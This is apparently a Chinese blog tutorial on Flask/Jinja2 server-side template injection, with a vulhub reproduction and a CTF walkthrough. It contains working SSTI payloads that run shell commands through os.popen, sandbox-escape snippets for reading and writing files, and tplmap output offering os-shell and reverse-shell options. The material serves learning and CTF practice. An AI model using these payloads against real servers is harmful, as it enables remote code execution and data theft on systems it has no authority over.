zoukankan      html  css  js  c++  java
  • SSTI(模板注入)

    SSTI

    一. 什么是SSTI

    模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
    模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

    SSTI就是服务器端模板注入(Server-Side Template Injection)和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

    二. flask/ssti漏洞

    flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)

    1. flask

    Flask 是一个使用 Python 编写的轻量级 Web 应用框架。模板引擎使用 Jinja2 。
    Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

    flask简单易学,下面代码是flask版的hello world

    from flask import Flask		# 初始化
    app = Flask(__name__)		# 初始化
    @app.route("/")				# route装饰器 访问http://xxx.xx.xx时,使用hello函数进行处理响应
    def hello():    
        return "Hello World!"
     
    if __name__ == "__main__":
        app.run()
    

    2. 模板

    定义一个模板

    <html>
    <div>{$what}</div>
    </html>
    

    这只是一个模板,{$what}是数据。

    我们可以使用相应的后端代码传入内容,得到新的html页面

    3. Jinja2

    a. 变量

    Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。
    Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

    Hello, {{ name|capitalize }}
    

    b. if&for语句

    if语句简单示例

    {% if user %}
         Hello,{{user}} !
    {% else %}
         Hello,Stranger!
    {% endif %}
    

    for语句循环渲染一组元素

    <ul>
         {% for comment in comments %}
             <li>{{comment}}</li>
         {% endfor %}
    </ul>
    

    三. 漏洞分析

    1. 复现过程

    使用 vulhub 提供的环境进行复现:

    SSTI_0

    前端页面为:

    SSTI_1

    源代码为:

    from flask import Flask, request
    from jinja2 import Template
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        name = request.args.get('name', 'guest')
    
        t = Template("Hello " + name)
        return t.render()
    
    if __name__ == "__main__":
        app.run()
    

    2. 原因分析

    t = Template("Hello " + name)这行代码表示,将输入的name拼接到模板,此时name的输入没有经过任何检测,尝试使用模板语言测试:

    SSTI_2

    3. 漏洞利用

    使用官方提供的 poc 测试:

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    

    SSTI_3

    Jinja2使用沙盒模板执行环境

    4. python沙盒逃逸

    a. python相关知识

    # __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
    >>> ''.__class__
    <type 'str'>
    >>> ().__class__
    <type 'tuple'>
    # __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
    >>> ().__class__.__bases__
    (<type 'object'>,)
    >>> ''.__class__.__bases__
    (<type 'basestring'>,)
    # __subclasses__():查看当前类的子类。
    >>> [].__class__.__bases__[0].__subclasses__()
    [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, ·····]
    # __globals__以dict形式返回函数所在模块命名空间中的所有变量
    
    

    b. 一些常用的方法

    //获取基本类
    ''.__class__.__mro__[1]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    object
    
    //读文件
    ().__class__.__bases__[0].__subclasses__()[40](r'C:1.php').read()
    object.__subclasses__()[40](r'C:1.php').read()
    
    //写文件
    ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
    object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
    
    //执行任意命令
    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
    object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
    

    构造payload执行ls命令:

    {% for c in ().__class__.__bases__[0].__subclasses__(): %}
    {% if c.__name__ == '_IterationGuard': %}
    {{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
    {% endif %}
    {% endfor %}
    

    SSTI_4

    四. tplmap

    tplmap

    D:T00LSCLT	plmap>python tplmap.py -u "http://10.10.10.200:8000/?name=asdf"
    [+] Tplmap 0.5
        Automatic Server-Side Template Injection Detection and Exploitation Tool
    
    [+] Testing if GET parameter 'name' is injectable
    [+] Smarty plugin is testing rendering with tag '*'
    [+] Smarty plugin is testing blind injection
    [+] Mako plugin is testing rendering with tag '${*}'
    [+] Mako plugin is testing blind injection
    [+] Python plugin is testing rendering with tag 'str(*)'
    [+] Python plugin is testing blind injection
    [+] Tornado plugin is testing rendering with tag '{{*}}'
    [+] Tornado plugin is testing blind injection
    [+] Jinja2 plugin is testing rendering with tag '{{*}}'
    [+] Jinja2 plugin has confirmed injection with tag '{{*}}'
    [+] Tplmap identified the following injection point:
    
      GET parameter: name		// 说明可以注入,同时给出了详细信息
      Engine: Jinja2
      Injection: {{*}}
      Context: text
      OS: posix-linux
      Technique: render
      Capabilities:
    
       Shell command execution: ok		// 检验出这些利用方法对于目标环境是否可用
       Bind and reverse shell: ok
       File write: ok
       File read: ok
       Code evaluation: ok, python code
    
    [+] Rerun tplmap providing one of the following options: //可以利用下面这些参数进行进一步的操作
    
        --os-shell                          Run shell on the target
        --os-cmd                            Execute shell commands
        --bind-shell PORT                   Connect to a shell bind to a target port
        --reverse-shell HOST PORT   Send a shell back to the attacker's port
        --upload LOCAL REMOTE       Upload files to the server
        --download REMOTE LOCAL     Download remote files
    

    五. CTF中的题目

    SSTI_5

    题目提示此题为python模板注入,使用{{2*2}}进行测试

    SSTI_6

    1. 手工方法

    构建payload:

    {% for c in ().__class__.__bases__[0].__subclasses__(): %}
    {% if c.__name__ == '_IterationGuard': %}
    {{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()") }}
    {% endif %}
    {% endfor %}
    

    得到flag

    2. 脚本

    D:T00LSCLT	plmap>python tplmap.py -u "http://111.198.29.45:46889/*" --os-shell
      URL parameter: url
      Engine: Jinja2
      Injection: {{*}}
      Context: text
      OS: posix-linux2
      Technique: render
      Capabilities:
    
       Shell command execution: ok
       Bind and reverse shell: ok
       File write: ok
       File read: ok
       Code evaluation: ok, python code
    
    [+] Run commands on the operating system.
    posix-linux2 $ ls
    fl4g
    index.py
    posix-linux2 $ cat fl4g
    ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
    posix-linux2 $
    

    参考文章
    SSTI完全学习
    flask ssti漏洞复现

  • 相关阅读:
    添加远程库
    远程仓库
    删除url中某个参数
    html2canvas.js——HTML转Canvas工具
    vue-cli3与vue-cli2的区别和vue-cli 怎么修改配置
    vue打包后出现一些map文件的解决方法
    微信app右上角自带分享功能
    微信授权获取用户openId的方法和步骤
    支付宝小程序webview里的h5跳转回小程序
    new Date
  • 原文地址:https://www.cnblogs.com/chalan630/p/12578418.html
Copyright © 2011-2022 走看看